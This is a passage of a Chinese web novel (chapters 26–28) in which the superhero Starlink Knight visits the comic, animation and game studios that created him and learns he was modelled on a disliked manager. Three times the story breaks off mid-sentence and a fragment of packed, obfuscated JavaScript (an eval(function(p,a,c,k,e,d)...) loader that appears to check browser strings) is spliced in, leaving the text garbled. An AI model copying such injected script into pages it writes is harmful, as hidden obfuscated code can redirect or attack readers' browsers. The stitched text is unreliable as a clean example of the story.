他走进去了,碍眼,不是,阻挡视线的东西消失了,我终于能抬头去看门牌——“漫画部”。 26.不顺利的寻亲 “漫画部”,亚克力牌子,没有个性没有感情的打印字体,四个角的钉子已经有些生锈了,顶上还落了点灰。 原来如此,圣地是漫画部。我点点头,视线又移向前方——响亮地说完那番话之后,星链骑士保持着张开双臂的姿势站在门口,高大,俊美,挺拔,仿佛是站在在舞台中央,聚光灯下,接受万人注视和欢呼,而不是在狭窄的门口,没有人回应,没有人招呼,甚至没有人抬头看他一眼。 “咕噜咕噜”,“咔哒咔哒”,“噼噼啪啪”,“吱吱吱吱”……以及此起彼伏的“第几页了?”“抓紧时间,今晚截稿!”“这两格对话框的文字重排!”“饮水机没水了!”“谁闲着?来个人上色!”——显而易见,里面忙得像一锅爆米花。 我踮起脚,努力从星链骑士肩头伸出脑袋,朝屋子里望:并不宽敞的长方形房间里,歪歪扭扭地布了三组长桌,桌面拥挤又凌乱,每张桌旁都坐着一个面色苍白的年轻人——也有的是两个,甚至三个,缩着肩膀蜷在狭窄的椅子上,各自占用一块巴掌大的桌面。他们的头发油腻结块,脖子弓成可怕的角度,嘴唇因为长时间的干渴而脱皮皲裂,整张脸毫无血色,额头的青春痘倒是一个个红得发亮。一组人盯着面前的显示器,手指在键盘上飞快地敲击;一组人一只手握着笔杆,另一只手按着桌上的屏幕,一只手涂画,一只手在屏幕上做些奇怪的手势。第三组干什么的都有,盯着屏幕的,低头画画的,握着电话大呼小叫的,也有端着七八个茶杯,从这张桌子走到那张桌子,用鸡爪似的细胳膊往桌上放水的。 所有人都气若游丝,却目光专注,精神亢奋。 我从没见过像这样同时处于“濒死”和“激昂”两种状态的人——我的意思是活人,被邪恶制药公司打了药的丧尸不算。 这就是孕育了星链骑士的圣地吗?角落的空调外壳已经泛黄了,满地都是纸屑纸团,和被踩扁的零食包装,空气里沉淀着油脂和氨氮的臭味,每有人走动就会搅起一股令人皱眉的气息。有戏的房间虽然凌乱,但还不至于发臭,而这里不管是看上去还是闻起来,都很像养殖场……对不起,我不应该拘泥于形式,只要能够诞生生命,就是不能亵渎的圣地。我立刻原地反省了三秒。 不过,让我有些在意的是,明明当前的我和他们一样,都是有呼吸有体温的真人画风,我们之间却似乎有什么本质上的区别。 (是什么?难道是我拥有健康的颈椎、腰椎,和心脏,而这个房间里的所有人加起来可能也凑不出一套好器官?) 星链骑士依旧站在门口。显然屋子里的气氛与他想象的有所区别。他咳嗽一声,收回双臂,又用力再次张开,仿佛大鹅拍打翅膀:“是我!你们最伟大的儿子,最成功的作品,我回来了!” 他的音量很大,但还是被四五个暴躁的男人同时对着电话吼叫的声音盖过。幸好,离他最近的电脑屏幕后探出一张脸来。一个脸色蜡黄的瘦小年轻人推了推厚重的眼镜。 “最成功的作品?”他说,“你是……甘草糖超人?” 我看不到星链骑士的表情,但我听到他的呼吸在那一秒停住了。 “甘草糖上个月就被砍了,连续五期人气垫底——你没发现很久没接他的稿子了?本来还指望圣诞节能出联名糖果呢,营销部的合同都改到第四版了……这年头,小孩子都早熟,儿童向也不好做,”旁边的另一个人说着,也抬头瞟了星链骑士一眼,“既然是‘最伟大的儿子’,应该是电光侠吧?” “电光侠的动画后来怎么样了?”又一人问。 “出到第三季,剧情彻底崩了,原来的编剧写不下去,为了挽回收视率花大钱找了个有名的日本编剧,结果他一上来就让女主得绝症,把男二写成傻子,把人气最高的女反派写成恋爱脑又和男主睡了——完结两个月了,现在网上还在骂,估计很难有第四季了。” “那群废物,又搞砸一个IP!” “不是电光侠,那应该是螳螂战警吧?上次我在超市看到最新的玩具海报。” “自/残小队也很火啊,真人电影都拍了四部。” “是变形博士吧?今年是变形博士电视剧开播的35周年——” “那边在吵什么!”一声暴吼从房间另一头响起。顿时,议论声被拦腰截断,就像我的电视机被K拔掉电源。 我刚朝声音传来的方向转过头,又听见“啪”的一声,房间尽头打开一扇小门,一个肥壮的男人从门里挤出来。是的,是肥壮的男人,我揉了眼睛再三确认的——刚才差点以为看到一头穿西装的直立行走的猪。 “吵吵吵吵吵,还有空聊天?手头的活都干完了吗?今晚冰爆姐妹截稿,完不成你们明天都不用来了!”穿西装的直立行走的男人吼叫着穿过拥挤的长桌,仿佛打地鼠的锤子穿过地鼠洞。凡是他经过的桌位,一个个原本就低垂的脑袋落得更低了。他肥满的肚皮和屁股沿路蹭倒水杯,碰落文件,撞翻显示器。过道两边的人纷纷收起椅子避让,还是被他挤得东倒西歪。 那男人一路走到星链骑士面前。超级英雄的伟岸身姿挡住了他半秃的滚圆的脑袋,却挡不住鼓胀的身躯。他长得两头小中间大,仿佛是个陀螺。陀螺一抬头发现了我,我赶紧放下脚尖,缩起脖子,安静地回到星链骑士背后。 男人把星链骑士上下打量了一遍,又伸出肥短的手指捻捻他的披风,戳戳饱满的胸肌,这才带着痰音粗声粗气地开口:“你们是谁,粉丝吗?这身行头做得不错啊,cos谁的?不好意思,我们很忙,公司内部不开放参观!” “……不,不是粉丝,”星链骑士连连否认,他的气势大不如前,张开的双臂也早已放到身后,手指一根根绞在一起,“我……没什么,我就是……对,我给你们带了点吃的,大家辛苦了……” 说完,他立刻把我推到身前,不由分说摘下并出示我身上的餐盒,作为证据。 “哦,送夜宵的啊,”男人的双下巴动了动,语气缓和下来,“综合办点的外卖吧?终于知道体谅我们了——东西放那儿。”他伸手指了指门边一张堆满空纸杯和披萨盒的小桌。 星链骑士立刻走到桌前,推开垃圾,打开餐盒,拿出餐点——汉堡热狗塔可,可乐咖啡苏打水。但他的手指像抹了油,拿一个,掉一个,放一个,又掉一个。刚放下的汉堡被新拿出来的塔可挤下去,要掉到地上了,他弯腰去捡,另一只手里的热狗又打翻了咖啡。我赶紧伸手扶住杯子,总算没洒出来。 星链骑士直起腰,看到我扶着杯子,脸上闪过一瞬间的愧色,大概1秒,比他思考的速度要快得多。下一秒他又恢复了海报上镇定自若的官方表情。他把手里的东西朝我一塞:“交给你了。”然后站到了旁边。 确实还是交给我比较快。刚才他和胖男人说话的时候,我已经点数了屋子里的人数,35个,也就是需要35套。星链骑士一把餐盒还给我,我立刻开始摆放餐点:一份主食一份饮料,上下左右对齐,每份之间保持1公分的距离——这活我干得迅速,整齐,熟练,只用了大约30秒,也就是星链骑士思考6个问题所需要的时间。 不过话又说回来,这里只需要35套,也就是表示,还有别的地方要去。 看我放完了东西,星链骑士又朝那男人转过身,刚开口说了半句:“那我们——”男人立刻皱起肥厚的眉头,用香肠似的手指点点嘴唇:“嘘——小声点,出去吧。” 我们就出去了。我刚刚提起后脚的脚跟,那扇门在我身后干脆利落地关上,就像K朝着鱼头剁下的菜刀。我转头去看星链骑士,他下垂的嘴角缓慢上扬,又一次深呼吸后,恢复了一开始的神气。 “你看,我就是被这个优秀的团队创造的,”星链骑士说,“刚才听到他们说的了吧?他们做出了那么多伟大的作品,而我也是其中一员——这意味着什么?哈哈!” 说话的时候,他已经沿着走廊继续向前走,目光笔直,脚步飞快。所以我也不确定这番话,尤其那个“哈哈”是不是说给我听的。 走廊又往前延伸了一段,然后是楼梯,电梯,另一段相同的走廊。星链骑士再次停下的时候,我们眼前的门牌写着“动画部”。 “哦,永生难忘的情景,”星链骑士站在门前,闭上眼睛,“管理员说完一‘你们的动画定项了’,我的四肢突然会动了,身体有了重量,张嘴能发出声音了——我终于不是只能在格子里活动,可以自由地奔跑、跳跃、飞翔……我有自己的动画片了!这可比出生的心情还要激动!” 说着,他伸手推开了眼前动画部的门。 门里是比之前更宽敞,也更凌乱的房间。排成长蛇的桌子,桌子上挨挨挤挤的电脑,电脑前又疲惫又亢奋的面孔……工作人员的数量增加了,忙碌的程度也增加了。星链骑士刚要张开的嘴迟疑了,一个漫长的音节在他喉头滚动,最后他轻轻挥手,朝离他最近的年轻人露出一个用力的笑容:“嗨。” 年轻人的视线从屏幕上挪开了一秒,朝这边投来询问的眼神。 顿时,星链骑士浑身一震,整个人仿佛发出光来。 “我是……那个,啊,我是星链骑士,”他克制着压低声音说,友好的语气,“你一定知道我吧?我的动画就是在你们这里制作的——非常成功,人气很高,后来也有了动画电影……现在我有真人形象了,电影也马上要——” 他还没说完,年轻人的视线又移开了。星链骑士熄灭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉,也只能怪我太优秀了,明明只是一个套模板的量产品,为什么会有如此美丽高尚的灵魂?没有人会对一个量产品寄托感情吧?我却真心实意地感激他们。为什么?凭什么?他们刚才叫我什么?外包?”星链骑士叹了口气,又沉又长,像要把肺排空。我忍不住朝前伸出手,拍了拍他的肩膀作为安慰;虽然他不是在对我说。 “怎么了,”星链骑士转头望着我,眨眨眼,五秒后恍然大悟,“你是说,不管发生什么,你都会支持我,对吧?” 我立刻把手缩回来,在裤子上擦了擦。 星链骑士继续朝前走了。从中途的某一站开始他就一直替我背着餐盒——就这一点向他表示感谢。我估算了一下剩余的餐点数量,应该不多,从之前那些房间里的人数推断,还剩下的只有一站,或者两站。不过,那个被踩烂的三明治,怎么好像一直没看他拿出来?那是给谁的? ——“星链骑士?”突然从角落响起的声音,细细的女声。 星链骑士的脚步停了,我也赶紧跟着站住,差点没撞到他身上。他朝声音传来的方向转过头,我也跟着望过去——走廊拐角的自动贩卖机旁,一个瘦小的女孩子站在那里。她半长的头发干枯凌乱,暗黄的皮肤呈现出营养不良的干燥色泽,身上的米色外套的袖口已经发黑了,胸前还有些咖啡似的污渍。她站在贩卖机的角落里,就像一棵脆弱的空心芦苇。 她应该也是这里的工作人员吧。我从她的黑框眼镜,驼背,脖子上的膏药,以及胸前的工牌判断的。 星链骑士望着她,慢慢挺起胸膛。 “是我,有事吗?”他的语气十分平静。但我一下子察觉到藏在这用力过猛的平静之下的欣喜与激动,就像在冰面下狂欢的鱼群。 那女孩子腼腆地笑起来,用手背推了推眼镜。 “要签名?”星链骑士说,“合影也可以,本来是不行的,因为我的真人形象还没有公开。但既然你专程在这里等我,我就特别为你破例——你可别说出去,你的朋友会嫉妒的。” 女孩子抿着嘴笑,又抬手捂住嘴,脸也红了起来。她笑了好一会儿,笑得在原地跺脚,又转着圈跳起来,像只雀跃的小鹿。终于,她停下来,抬起头望着星链骑士。 “我上周才在门口看到你的积木小人海报,没想到这么快又有真人形象了。”她说。她的声音实在是太轻太细了,也许阳光再强烈一些,就会把她说出的话蒸发。 星链骑士露出了标准的队长笑容:“对于别人,可能速度确实有些快,但对于我,这不是很正常的事吗?接下去我还会有真人电视剧,游戏也在制作中了——我这么优秀,这些都是理所当然的,你不必感到惊讶。” 看得出来,他已经恢复心情了。 “真好啊,”女孩子笑眯着眼说,“我和Joyce一起讨论你的设定,把你画在稿纸边角上的时候,怎么也想不到会有这样的一天。” 27.星链骑士的亲生母亲 找到了。 亲生母亲找到了。 长达5秒的恍神后,星链骑士的脸上荡漾起微笑,幸福的,真实的,发自内心的。英俊的眼角眉梢舒展开来,就像汤料包里的干燥蔬菜被投入温柔的热水。 那女孩子小步走到他面前,伸长脖子,仰起头把他左看右看,从脑门看到眉毛,看到清澈湛蓝的眼睛,看到挺拔宏伟的鼻梁,光可鉴人的牙齿,丰厚饱满的下巴。起先她还有些拘谨和害羞,再往下看到床垫一样结实宽广的胸肌和胸前的团队logo,又立刻捂着嘴“噗噗”笑起来。 “你不必腼腆,”星链骑士张开双臂,顺势刻意地鼓起伟岸的肩头,“眼前这完美作品出自你的创造,你可以尽情欣赏。” 女孩子眨了眨眼,努力抿嘴,又用手捂住脸颊,这才把兴奋的嘴巴合拢,终于能说出话来。 “刚才我在工作室埋头干活,听见门口有人吵,一抬头就看到你站在那儿,”她说,“你说你是星链骑士——天啊,我简直不敢相信,真的是那个‘星链骑士’吗?不会是同名吧?你变得那么帅,那么高……当初我们把你画出来的时候,你才那么点大!画到一半,那支笔还断水了!” 星链骑士发出清脆爽朗的超级英雄招牌笑声,牙齿熠熠闪烁。显然,这番话里的每个字都让他心情愉快。他甚至不得不借着整理头发低下头,来掩饰内心正在膨胀的巨大喜悦。 “简直像在做梦一样,我掐了自己好几下,就算到现在我还是迷糊的,”女孩子仰望着他的脸,镜片反射出那张人类所能想象出的最顶级的美丽面孔,“刚才我好不容易找到机会,偷偷跑出来,想跟你说话,可是你一下子又不见了——我真的要以为是我的幻觉,是我昨晚才睡3个小时,才会在大白天做梦!” “我去了动画组的房间,”星链骑士温柔地看着她,“毕竟我也有电视动画,他们也对我的出现表示惊讶与欢迎。之后又去了动画电影,积木小人电影,还有周边玩具的房间。哎,优秀的人总是忙碌的。怪我太受欢迎,到处都在邀请我加入,以后恐怕也只会越来越忙。” “对,对,所以我来这里等你,我想你应该会经过这里,”女孩子说,“刚才我查了一下你的相关作品——也太厉害了吧!漫画还没完结就发布了电视动画,动画第一季一结束就公布了电影正在制作中,动画电影刚刚下线,积木小人的电影就跟着上映了……那可是积木小人!你知道的,他们只和最热门最顶级的IP合作!你居然做到了!估计很快就会推出你的积木玩具套装!而且现在,居然还有了真人电影的角色!你也太棒了!真不敢相信,当初我随手画的简笔画,现在居然有了那么多观众!大家都在看你,都喜欢你!” 这番话更是直击爽点,简单,纯粹,最直白的文字表达最热烈的感情,没有一个字是多余的,根本就是一套全面又舒适的脑沟按摩,我不相信这世界上有哪个超级英雄能拒绝。我又悄悄抬头,果然,星链骑士挺起胸膛,眯起眼睛,就像一只吃饱喝足晒太阳的猫,还正在被爽爽地挠下巴。 “真想给Joyce打个电话,她要是知道你有了真人版,一定也会疯的!”脑沟按摩还在继续,“那时候我们都还没毕业,好不容易得到来这里实习的机会,结果天天就是打杂——画背景,上色,打扫卫生,收发邮件,泡咖啡……那天午休的时候,她说这样的日子什么时候才能到头,什么时候才能让我们上手画点像样的东西,什么时候才能让我们参与正式制作,讨论剧情,设定角色,干什么也比现在成天涂背景强。说着说着,我们就想,如果让我们设定一个超级英雄,他会长什么样,他穿着紧身衣还是盔甲,他喜欢吃什么,他会飞行还是开着战车——我们一边说一边想,就把你画出来了。” 星链骑士在阳光下笑眯起俊美的双眼:“是吗,看来我身上寄托了你们对未来最美好的憧憬。你们一定是把最优秀最强大的东西都给了我,所以我才会这样耀眼——” “哦,那倒不是,”女孩子说,“当时有个很讨人厌的小主管,成天对我们挑三拣四,又自大又自恋,从来不仔细听别人说什么,根本没法沟通,还有一套奇怪的逻辑,遇上什么问题都能自圆其说,成天吹牛,吹自己的简历有多厉害,其实什么都不会,连咖啡机都不会用,工作都是别人在做,他只是站在电脑前指手画脚——实在是太讨厌了!所以一说到要设定角色,我们直接想到了他,然后就画了你。” 不好,脑沟按摩的温柔双手突然变成了砂纸。我又抬眼去看星链骑士,他依然保持笑容,但嘴角好像是被钩子扯着吊起来的。 “哦,当然,你的脸和他完全不一样,你比他帅多了!你可是超级英雄!”女孩子说,“当时我们就想着做一个搞笑的角色,除了脸长得帅,其他一无是处,还装模作样,笨手笨脚。Joyce说完美的人设已经过时了,一般的超级英雄都会在性格上添加一两个缺点或者弱点,来丰富人性,而像这种浑身都是缺点的角色还不多,会很有新鲜感……所以我们就照着那个主管来画你,每天午休就凑在一起想剧情,画小漫画,他找了我们的茬,我们就让他在小漫画里吃瘪,哈哈,都成午休的固定娱乐项目了。” 原来是这样,那我可以理解为什么她看到星链骑士会笑得那么……那么开心了。 “结果有一天,我们的涂鸦本被组长看到了。她仔仔细细看了一遍,说还蛮有意思的,这个类型的超级英雄很少见,可以加到另一个项目的故事里,也是这类型的搞笑漫画,会让故事更有趣,问我们有没有这个意向,可以的话,就和编剧讨论一下,”女孩子说着说着,又用手背抬了抬眼镜,嘴角再次压不住地上扬,“天啊,我还以为那故事完结就没有后续了,结果一眨眼,你都要有真人电影了——太可怕了,居然有那么多人喜欢那个混蛋主管!” ……到此为止吧,希望她不要再往下说了。我转头去看星链骑士,他硬撑的笑容让我也生出几分同情。 那女孩子又凑上前来,抬起眼镜对着星链骑士的脸看个不停:“你的真人演员是谁呀?我都没时间关注娱乐圈,最近新出的明星一个都不认识。他叫什么名字?看起来好帅呀!” 一说到某些关键词,星链骑士脸上又焕发出光彩来——但只有一瞬间,就像相机的闪光灯,“咔嚓”,亮了,灭了。 “是一个最近很火的偶像,”星链骑士勉强地勾起嘴角,“虽然是新人,但是……但是出演了许多人气剧集,也拿了不少奖项……选择他主要是考虑他长得很帅,和我——” “对,对,Joyce也是这么说的,”女孩子连连点头,“她说,一定要把你设定成男的,而且是超级大帅哥。因为同样的缺点,放在女主角身上会招人骂,放在丑男身上,会被骂到死。但如果是大帅哥,男读者会觉得你虽然笨笨的,但是帅帅的,简直就是自己;女读者会觉得你虽然帅帅的,但是笨笨的,真是可怜可爱。我开始还不信,没想到还真是这样!这个演员选得好,选得太好了!就是要这么帅的,才能托起你的笨!” 星链骑士闭上了眼睛,深呼吸,好像恨不得一口气把走廊抽成真空。我倒也不是不能理解他的感受。然后他伸手探向餐盒,艰难地开盖,艰难地摸出一份汉堡。我见势立刻帮忙掏出一杯可乐。他递来一个感谢的眼神,转身把这两样东西塞到女孩子手中。 “谢谢你,谢谢你和你的朋友创造我,”星链骑士说,“我要去看看我的游戏开发进度如何了。祝你愉快,再见。” 说完,星链骑士不等对方回答,原地向后转,朝走廊那一头的电梯大步走去。我赶紧跟上,刚走两步,听到那女孩子又叫了星链骑士。 “加油啊!”她跳起来挥手,胸前的工牌跟着她的动作上下翻飞,“我会买你的周边,买你的积木玩具!只要看到有你的脸,我都会买!你要努力去更远的地方,登上更多的屏幕,让Joyce也看到!她也会为你高兴的!” 星链骑士没有回头,也没有停步。他抬手朝身后挥了挥,然后一直走到尽头,按下了电梯按钮。不锈钢的电梯门把他英俊的容貌拉伸变形,看上去像一个发酵失败的面包胚。 “哈,说我除了长得帅,什么都不行?‘帅帅的,但是笨笨的’?我明明这么优秀,却说我的原型是个讨人厌的主管?”星链骑士朝我转过头来,“你觉得我很讨厌,很笨,什么都不行,还无法沟通吗?” 我正要点头,他又转回了那一张帅脸:“就是嘛,根本就是胡说八道!我看她就是嫉妒罢了。我已经有了真人形象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说起来,我也从来没有给游戏中的超级英雄送过餐,甚至连“游戏”这种形式都没有深入接触过。在别的世界线,我见过几个年轻人玩游戏,他们围着一台很大的箱型机器,最中间的两个人一左一右地操纵一个有摇杆有按键的控制台。那机器的屏幕像个电视机,但上面出现的角色不会自己行动,需要他们操控才能前进,后退,防御,战斗。我在那儿稍微看了一会儿,大部分时候他们都在操纵小人打架,偶尔也需要做出选择,往左走还是往右走,战斗还是逃跑。如果操作失误,或者战斗中力有未逮,角色就会死亡;这时候,屏幕前的年轻人会发出遗憾或者嘲讽的叫喊。 所以,游戏中的超级英雄并没有自我意识,只是控制者的想法的体现吧?那么,与其说那些角色是超级英雄,不如说是扮演超级英雄的玩家,就像在一些节日里穿着角色服装上街讨糖的小孩儿。不然的话,每次打开游戏,都会诞生一个新的故事,不同人的选择堆叠成主角不同的经历,不同的经历又塑造出不同的主角……整个故事会膨胀,但框架的空间是有限的,就不知道最后会变成什么样子了。 (当然,也有一种可能,不管角色做出了什么样的选择,最后都只会收束成一种固定的结局。不过这样一来,玩游戏的乐趣在哪儿?在过程吗?我不太明白,希望能找个机会体验一下。) 星链骑士又敲了敲门。 与前几次不同,“游戏开发部”的门“唰”地打开了。一个戴着眼镜(又是眼镜,这里的每个人都戴眼镜?)的男人从门后探出头来。他也有一张泛着油光的蜡黄的脸,满脑袋乱糟糟的卷发,像顶了一头刚从衣兜里掏出来的耳机线。长时间的伏案工作让他的体型膨胀,干涩的眼球中投出的视线僵硬又涣散。他站着朝这边望来,愣了一愣,摘下眼镜,在红格子衬衫的衣摆上擦了擦,重新戴上。 然后他抬起了眉毛,睁大了双眼,干裂的嘴唇因为下颚的过度伸展又崩开几道血口子。 “你是……你是星链骑士?”男人的胸口剧烈起伏,脸因为兴奋绷得通红,像一个被吹胀了的气球,“我的天,接到电话的时候,我还以为是什么恶作剧……星链骑士?星链骑士?来我们的工作室?” “是我,”星链骑士朝他点点头,“我说过我会来,那就一定来。” 他终于再次露出超级英雄的自信微笑了。 28.星链骑士的游戏 星链骑士又露出了超级英雄该有的迷人微笑,温柔的,平静的,游刃有余的。上一次他露出这样的笑容还是大约一小时前的事——一小时,720个5秒,非常充裕,够他想明白很多问题。 终于,站在门口的男人从惊讶中回过神来。他连连后退,为面前的超级英雄让出通道,同时转身朝门后的房间大喊:“星链骑士来了!把最新的demo打开,投大屏!泡咖啡!地上的垃圾——怎么还没扫?赶紧收拾!桌子擦一擦!星链骑士来了!我早说过他要来!” 房间里响起一片手忙脚乱的零碎动静,说话声,脚步声,滑轮椅子的滑动声,抽屉和柜子“乒乒乓乓”的开关声,还有各种语气和语言的感叹词。我抬头去看星链骑士,他反手背在身后,挺起胸,挺直腰,又摆出了雕像姿态。面对这些因为“星链骑士来了”而闹出的声响,他的笑容愈发俊美优雅。 我再一次默默计算餐盒里剩余的餐点数量——不算那个被拍烂的三明治,应该还有不到30份,不出意外的话,这里就是最后一站。 屋子里的动静稍微平息了一些。穿格子衬衫的男人朝里张望几眼,转过身来,重新堆起激动的笑容,紧张地做了个“请”的手势。星链骑士顺着他的手势大步走进房间,走了一步又退回来,转身朝向他,握住了他伸出的手。 “刚才忘了问候——很高兴见到你,我的朋友,”星链骑士昂起美丽的下巴,“不是所有超级英雄都能拥有自己的游戏,也不是所有制作团队都能有机会为我制作游戏。你足够优秀,又足够幸运才能与我相遇,相信你会珍惜这份荣誉。几十年后,你可以告诉你的孙辈,你曾经和星链骑士握过手。” 这番话说得泰然自若,又郑重其事,就像在聚光灯下对着10个以上带台标的话筒和至少两层的镜头包围圈发表演说,而不是在问候一个穿着散发异味的格子衬衫,戴着满是手印的黑框眼镜的胡子拉碴的矮胖男人。男人愣了一下,脸上的笑容跟着僵硬地一晃,又连连点头:“对,对对,我们会好好干——最新的demo已经做好了,希望你能从主角的角度给我们一些参考意见。” 星链骑士满意地笑了,松开男人的手(转身的时候把手掌在斗篷上飞快地擦了擦),把身上的餐盒朝我一甩,迈开步子,走进房间。 房间里,巨大的投影幕布已经准备就绪,几个男人凑在一起摆弄电脑。他们的个子高矮胖瘦各有不同,但身上的衬衫T恤牛仔裤都是一样的邋里邋遢,皱巴巴,脏兮兮。星链骑士咳嗽一声,他们又同时抬起头转过身,扬起一样的毛孔粗大,干燥脱皮的疲惫的脸。 “你就是星链骑士?”其中一个小心翼翼地开口,眼神中逐渐充满疑惑,“怎么长得——” “涉及保密协议,目前不能合影,结束后可以给你签名,”星链骑士飞快地打断他,“快点,让我看看你们的游戏——不,我的游戏。” 那几人都愣了一下。一开始的矮胖男人飞快走上前来,操作旁边的电脑。鼠标“咔嚓咔嚓”响了几声之后,投影上出现了画面。是一段3D动画,激烈的打斗场景,完美的面部特写,流畅的分镜切换,炫目的光效和动感的配乐,战斗双方所有成员的形象依次闪现,然后镜头拉远,巨大的标题伴随冲击波出现在画面中央:《超感联盟:最后的星光》。 啊,原来他们的团队叫“超感联盟”啊,我还以为就叫“星链骑士和队友”呢。 我抬眼去看星链骑士,他又露出了雕像般的完美笑容。好的,满意。 “这是片头动画,目前不是最终效果,还会进一步细化渲染,”胖男人介绍道,“不过这部分是外包做的,如果有修改意见——” 星链骑士咳嗽了一声,微笑的嘴角收起些许,就像百叶帘拉下了两格。真神奇,我明明不会读心,却一下子知道是哪个词让他喉咙发痒。 但胖男人显然不明白。他挠挠头,仿佛用手指拨动像他不知多久没洗的头发一样粘连的脑神经,然后朝两旁围观的人使了个眼色。对方立刻会意,一个推来椅子,一个端来咖啡,一个伸手请星链骑士坐下,最后一个勾头缩背的干瘦年轻人走到投影幕布旁,清清嗓子,开始介绍游戏的相关情况。 可能是因为长时间伏案,就算站起来了,他的脖子和肩背也一直蜷缩着无法舒展,像一粒濒死的西瓜虫。投影上的画面继续播放,西瓜虫用尖细的声音说了一大堆我听不懂的叙述,关键词有“开放世界”“动作角色扮演”“联机模式”“成就系统”“收费DLC”……啰啰嗦嗦,磕磕巴巴,总之就是在说这个游戏很厉害对吧?我的视线在西瓜虫和星链骑士之间来回往返。后者的表情稳定保持在“超级英雄微笑”,根据投影画面的具体内容,偶尔变成“超级英雄困惑”或者“超级英雄冷漠”。当投影上出现装备界面,镜头拉近,“星链骑士”雄俊的容姿占据了大半的空间时,他又展露出和见到亲生母亲时一样的笑容,舒畅,愉悦,满意。 “基本情况就是这样,”西瓜虫推了推眼镜,厚重的镜片把他原本细小的瞳仁放大,像两片圆滚滚的香菇,“下面我来演示战斗部分的操作。” 他拿起手柄,屏幕上的出现人物选择界面。西瓜虫推动摇杆,银色光圈在各个人物的头顶划过,最后圈中了一个身穿亮皮紧身衣的女性,大眼睛,小下巴,粉红色卷发像泡泡糖一样蓬松地堆在肩上。她在画面中央摆出了一个相当考验平衡能力和核心力量的姿势,像一条打结的水管。我想她应该不是人类吧,毕竟她的小腿比我的小臂还细,大腿的围度却又至少是小腿的七倍。和仁美恶补时尚杂志和模特写真的时候,我可没见过人类这个种族能发育出这样的几何身材。 而且,她的腰只剩下薄薄一片,肩胛骨也吹弹可破,却支撑起了战衣胸前悬挂着的两个巨大又厚重的合金头盔……等一下,那好像不是头盔。 我揉了揉眼睛,没错,虽然它们和头一样大,但那不是头盔。我又努力回忆刚刚见过的那群积木小人,其中似乎并没有这样一位……又粗又细又长又圆的粉色卷发的女性。我转头去看星链骑士,他脸上呈现出“超级英雄的茫然”。怎么,他也不认识她? 胖男人也看到了星链骑士的表情,立刻补充说明:“这也不是最终版本,部分细节会进行更进一步的动态渲染,比如走路,跑跳,还有释放技能的时候,胸部和臀部会有晃动效果——当然,我们用的是最先进的物理引擎,绝对不是那种假得要死的鼻涕泡的效果。后续还会发售收费道具包,每一季度都会推出至少三种不同风格的收费皮肤。收费皮肤嘛……哈哈……” 星链骑士眯起了眼睛,“超级英雄的烦躁”。 “……哦,不说这个了,”胖男人立刻朝西瓜虫挥手,“你换那个,‘豹爪’,用‘豹爪’打怪,他的技能完成度高。” 于是,银白色的光圈从粉色卷发头顶移开,圈住了一个浑身肌肉的蒙面壮汉。他有着日晒后的油亮褐色皮肤,高大,健壮,简直像辆半挂卡车,就连拇指都粗圆如鸡蛋。单从视觉效果上,我感觉如果把隔壁的粉色卷发从腰部对折,搓细,或许能塞进他的耳朵眼。 西瓜虫按了一下按钮,半挂卡车摆出一个战斗姿势,双手一挥,“唰”的一声,几乎半米长的银色合金利爪从他的指尖弹出。原来如此,所以叫“豹爪”;一时间,许多熟人的影子从我眼前闪过。 然后,投影画面上出现了一个昏暗的场景,看上去像是邪恶科学家的实验室之类的地方,满地都是散乱的纸张和破碎的玻璃瓶,天花板上的日光灯忽明忽暗地跳动。场地中央,是一个这种场合常见的巨大透明水槽,常见的暗绿色营养液中,悬浮着一团常见的轮廓模糊的肉块。镜头给了肉块一个特写,看来这就是要被打倒的敌人。 又然后,镜头一晃,墙壁被猛地打穿,豹爪从破洞中出现,摆出这种场合常见的登场造型。肉块也猛然睁眼,破水而起,发出这种场合常见的常规吼叫。 双方的战斗开始了。西瓜虫飞快地搓动摇杆,点击按键,屏幕上的豹爪随之灵巧地闪躲,跳跃,避开攻击;肉块一出现破绽,又立刻近身上前,在“啪啪啪啪”的按键声中打出一串连击,尖利的爪子每一下都深深刺入肉块,血花四溅。我转头去星链骑士,他全神贯注地盯着屏幕,不时点头。很快,在烟花般炸开的华丽光效中,肉块抽搐着倒下,豹爪转过身,对着屏幕做出胜利者的姿势。 “不错,豹爪他就是这样的,很还原,甚至还有一定程度的美化。”星链骑士用力点头,超级英雄的肯定。 胖男人笑了,他朝旁边的另一人递了个眼神,对方立刻拿起另一个手柄,屏幕上再次出现选择界面。然后两人各自选了新的角色,再次进入刚才的场景,再次开始殴打肉块。 “这个游戏也支持联机战斗,最多可以和4名队友配合,用各自的必杀技打倒敌人。”胖男人在旁解说道。 “4人?”星链骑士转头看他,“可是超感联盟一共有5个人。” 胖男人愣了一下:“对,人数确实是5个——” “哦,一定是crystal被选剩下了,”没等他回答,星链骑士“哈哈”笑起来,“她的技能本来也不适合战斗,被选剩下也正常。希望她到时候别不高兴,哈哈。” 双人战斗也结束了,得到“超级英雄的称赞”。之后,他们又为星链骑士示范了团队面对大型怪物的联机战斗,单人对战大量小怪兽的单机战斗,以及需要随时切换参战人物,利用不同的技能特性破解谜题的解谜关卡;华丽的技能光效和逼真的物理反馈让超级英雄目不转睛,只是不知道什么时候,嘴角的百叶帘又放下了两格。 “基本情况就是这样,现在的完成度也不算高,但基本流程已经算是确定了,”胖男人说着,转向星链骑士,“你有什么看法——” “让我看看我的角色,”星链骑士说,“你们示范了这么久,我怎么只在片头动画里见过我?噢,你们是怕在星链骑士面前操作‘星链骑士’,会让我感到尴尬吗?哈哈,不必在意,就算你们的操作再高端,游戏角色也不过是个傀儡,不可能比我强。再说了,傀儡越强,不就说明本尊越强吗?放松点,我很随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 